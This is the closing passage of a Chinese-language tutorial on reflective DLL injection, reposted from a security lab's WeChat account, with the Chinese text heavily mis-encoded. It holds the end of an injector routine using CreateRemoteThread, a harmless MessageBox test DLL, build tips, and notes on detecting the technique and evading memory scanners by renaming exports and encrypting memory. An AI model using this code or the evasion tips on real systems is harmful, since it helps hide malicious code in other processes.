); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { hThread = NULL; } return hThread;}
測(cè)試
在反射 DLL 中編寫需要執(zhí)行的代碼,并使用反射 DLL 注入器進(jìn)行反射 DLL 注入到目標(biāo)進(jìn)程中進(jìn)行測(cè)試。
VOID Go() { MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); /// other code here. } BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { caseDLL_PROCESS_ATTACH: Go(); break; caseDLL_THREAD_ATTACH: caseDLL_THREAD_DETACH: caseDLL_PROCESS_DETACH: break; } returnTRUE; }
說(shuō)明:在使用 Visual Studio IDE 編譯反射 DLL 工程項(xiàng)目的過程中,注意關(guān)閉支持我的代碼調(diào)試(/JMC)標(biāo)志和禁用安全檢查(/GS)標(biāo)志,因?yàn)檫@些會(huì)導(dǎo)致編譯器向最終的二進(jìn)制代碼中添加一些安全檢查代碼,需要避免編譯器對(duì)反射 DLL 的進(jìn)行優(yōu)化,從而導(dǎo)致改變代碼的執(zhí)行路徑,進(jìn)而導(dǎo)致程序崩潰。
測(cè)試效果如下:
針對(duì)反射的 DLL 的導(dǎo)出函數(shù) ReflectiveLoader 函數(shù)名稱進(jìn)行特征(這可以通過修改導(dǎo)出函數(shù)名稱解決),使用 Pesieve 或者 Moneta 等內(nèi)存掃描工具針對(duì)被加載的 PE 載荷進(jìn)行運(yùn)行時(shí)檢測(cè),這需要對(duì)運(yùn)行的內(nèi)存進(jìn)行加密來(lái)對(duì)抗。針對(duì)一些敏感的 API 調(diào)用進(jìn)行監(jiān)控。
總結(jié)
本文首先針對(duì)反射 DLL 注入的應(yīng)用場(chǎng)景做了簡(jiǎn)單的介紹,之后介紹了反射 DLL 注入的原理,其由兩部分組成,其中一部分是反射 DLL,另一部分反射 DLL 注入器,兩者缺一不可。之后結(jié)合開源代碼對(duì)反射 DLL 注入的實(shí)現(xiàn)進(jìn)行了進(jìn)一步說(shuō)明,對(duì)其實(shí)現(xiàn)流程進(jìn)行了說(shuō)明,最后演示了反射 DLL 注入的效果和提出了一些注意點(diǎn),并提供了一些檢測(cè)方式。
審核編輯:湯梓紅
-
dll
+關(guān)注
關(guān)注
0文章
115瀏覽量
45428 -
程序
+關(guān)注
關(guān)注
117文章
3787瀏覽量
81049 -
函數(shù)
+關(guān)注
關(guān)注
3文章
4331瀏覽量
62622
原文標(biāo)題:反射 DLL 注入
文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論